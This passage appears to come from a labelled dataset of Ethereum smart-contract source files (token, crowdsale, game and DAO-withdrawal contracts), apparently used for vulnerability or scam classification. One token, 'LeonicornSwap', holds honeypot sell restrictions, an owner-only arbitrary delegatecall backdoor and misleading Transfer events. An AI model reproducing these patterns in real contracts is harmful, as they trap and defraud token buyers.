require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(potSplit_.win)).div(100);
uint256 _dev = (_pot.mul(potSplit_.dev)).div(100);
_pot = (_pot.sub(_win)).sub(_dev);
AwardPool.transfer(_win);
DeveloperRewards.transfer(_dev);
AwardPool.transfer(_pot);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.potAmount = _pot;
_eventData_.devAmount = _dev;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function distributeExternal(uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _dev = (_eth.mul(fees_.dev)).div(100);
DeveloperRewards.transfer(_dev);
_eventData_.devAmount = _dev.add(_eventData_.devAmount);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_.gen)).div(100);
_eth = _eth.sub((_eth.mul(fees_.dev)).div(100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.devAmount,
_eventData_.genAmount,
_eventData_.potAmount
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == 0x4a1061afb0af7d9f6c2d545ada068da68052c060, "only team can activate");
require(activated_ == false, "fomo3dx already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 devAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 lrnd;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct KeyFee {
uint256 gen;
uint256 dev;
}
struct PotSplit {
uint256 win;
uint256 dev;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, bool _all) external payable returns(bool);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, bool _all) external payable returns(bool);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bool _all) external payable returns(bool);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | 1 | 3,896 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract LeonicornSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,490 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicERC20
{
string public standard = 'ERC20';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
bool public isTokenTransferable = true;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address _to, uint256 _value) public {
assert(isTokenTransferable);
assert(balanceOf[msg.sender] >= _value);
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
assert(isTokenTransferable || _from == address(0x0));
if (balanceOf[_from] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if (_value > allowance[_from][msg.sender]) throw;
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
}
contract BasicCrowdsale is Ownable
{
using SafeMath for uint256;
BasicERC20 token;
address public ownerWallet;
uint256 public startTime;
uint256 public endTime;
uint256 public totalEtherRaised = 0;
uint256 public minDepositAmount;
uint256 public maxDepositAmount;
uint256 public softCapEther;
uint256 public hardCapEther;
mapping(address => uint256) private deposits;
constructor () public {
}
function () external payable {
buy(msg.sender);
}
function getSettings () view public returns(uint256 _startTime,
uint256 _endTime,
uint256 _rate,
uint256 _totalEtherRaised,
uint256 _minDepositAmount,
uint256 _maxDepositAmount,
uint256 _tokensLeft ) {
_startTime = startTime;
_endTime = endTime;
_rate = getRate();
_totalEtherRaised = totalEtherRaised;
_minDepositAmount = minDepositAmount;
_maxDepositAmount = maxDepositAmount;
_tokensLeft = tokensLeft();
}
function tokensLeft() view public returns (uint256)
{
return token.balanceOf(address(0x0));
}
function changeMinDepositAmount (uint256 _minDepositAmount) onlyOwner public {
minDepositAmount = _minDepositAmount;
}
function changeMaxDepositAmount (uint256 _maxDepositAmount) onlyOwner public {
maxDepositAmount = _maxDepositAmount;
}
function getRate() view public returns (uint256) {
assert(false);
}
function getTokenAmount(uint256 weiAmount) public view returns(uint256) {
return weiAmount.mul(getRate());
}
function checkCorrectPurchase() view internal {
require(startTime < now && now < endTime);
require(msg.value >= minDepositAmount);
require(msg.value < maxDepositAmount);
require(totalEtherRaised + msg.value < hardCapEther);
}
function isCrowdsaleFinished() view public returns(bool)
{
return totalEtherRaised >= hardCapEther || now > endTime;
}
function buy(address userAddress) public payable {
require(userAddress != address(0));
checkCorrectPurchase();
uint256 tokens = getTokenAmount(msg.value);
totalEtherRaised = totalEtherRaised.add(msg.value);
token.transferFrom(address(0x0), userAddress, tokens);
if (totalEtherRaised >= softCapEther)
{
ownerWallet.transfer(this.balance);
}
else
{
deposits[userAddress] = deposits[userAddress].add(msg.value);
}
}
function getRefundAmount(address userAddress) view public returns (uint256)
{
if (totalEtherRaised >= softCapEther) return 0;
return deposits[userAddress];
}
function refund(address userAddress) public
{
assert(totalEtherRaised < softCapEther && now > endTime);
uint256 amount = deposits[userAddress];
deposits[userAddress] = 0;
userAddress.transfer(amount);
}
}
contract CrowdsaleCompatible is BasicERC20, Ownable
{
BasicCrowdsale public crowdsale = BasicCrowdsale(0x0);
function unfreezeTokens() public
{
assert(now > crowdsale.endTime());
isTokenTransferable = true;
}
function initializeCrowdsale(address crowdsaleContractAddress, uint256 tokensAmount) onlyOwner public {
transfer((address)(0x0), tokensAmount);
allowance[(address)(0x0)][crowdsaleContractAddress] = tokensAmount;
crowdsale = BasicCrowdsale(crowdsaleContractAddress);
isTokenTransferable = false;
transferOwnership(0x0);
}
}
contract EditableToken is BasicERC20, Ownable {
using SafeMath for uint256;
function editTokenProperties(string _name, string _symbol, int256 extraSupplay) onlyOwner public {
name = _name;
symbol = _symbol;
if (extraSupplay > 0)
{
balanceOf[owner] = balanceOf[owner].add(uint256(extraSupplay));
totalSupply = totalSupply.add(uint256(extraSupplay));
emit Transfer(address(0x0), owner, uint256(extraSupplay));
}
else if (extraSupplay < 0)
{
balanceOf[owner] = balanceOf[owner].sub(uint256(extraSupplay * -1));
totalSupply = totalSupply.sub(uint256(extraSupplay * -1));
emit Transfer(owner, address(0x0), uint256(extraSupplay * -1));
}
}
}
contract ThirdPartyTransferableToken is BasicERC20{
using SafeMath for uint256;
struct confidenceInfo {
uint256 nonce;
mapping (uint256 => bool) operation;
}
mapping (address => confidenceInfo) _confidence_transfers;
function nonceOf(address src) view public returns (uint256) {
return _confidence_transfers[src].nonce;
}
function transferByThirdParty(uint256 nonce, address where, uint256 amount, uint8 v, bytes32 r, bytes32 s) public returns (bool){
assert(where != address(this));
assert(where != address(0x0));
bytes32 hash = sha256(this, nonce, where, amount);
address src = ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash),v,r,s);
assert(balanceOf[src] >= amount);
assert(nonce == _confidence_transfers[src].nonce+1);
assert(_confidence_transfers[src].operation[uint256(hash)]==false);
balanceOf[src] = balanceOf[src].sub(amount);
balanceOf[where] = balanceOf[where].add(amount);
_confidence_transfers[src].nonce += 1;
_confidence_transfers[src].operation[uint256(hash)] = true;
emit Transfer(src, where, amount);
return true;
}
}
contract ERC20Token is CrowdsaleCompatible, EditableToken, ThirdPartyTransferableToken {
using SafeMath for uint256;
constructor() public
{
balanceOf[0xb7722517f410914fff62df357a0c14b88efb9369] = uint256(50000000) * 10**18;
emit Transfer(address(0x0), 0xb7722517f410914fff62df357a0c14b88efb9369, balanceOf[0xb7722517f410914fff62df357a0c14b88efb9369]);
transferOwnership(0xb7722517f410914fff62df357a0c14b88efb9369);
totalSupply = 50000000 * 10**18;
name = 'VOMER';
symbol = 'VMR';
decimals = 18;
}
function () public {
assert(false);
}
} | 1 | 2,678 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0x9f27daea7aca0aa0446220b98d028715e3bc803d);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 0 | 729 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract RougeCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "XRGE";
name = "RougeCoin";
decimals = 18;
_totalSupply = 18000000000000000000000000000;
balances[0xFF96a025Bd86D968dCE0Da3EC52d2f678A57c1FC] = _totalSupply;
emit Transfer(address(0), 0xFF96a025Bd86D968dCE0Da3EC52d2f678A57c1FC, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 5,070 |
pragma solidity ^0.4.23;
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract DatEatToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => uint256) public freezedAccounts;
uint256 totalSupply_;
string public constant name = "DatEatToken";
string public constant symbol = "DTE";
uint8 public constant decimals = 18;
uint256 constant icoSupply = 200000000 * (10 ** uint256(decimals));
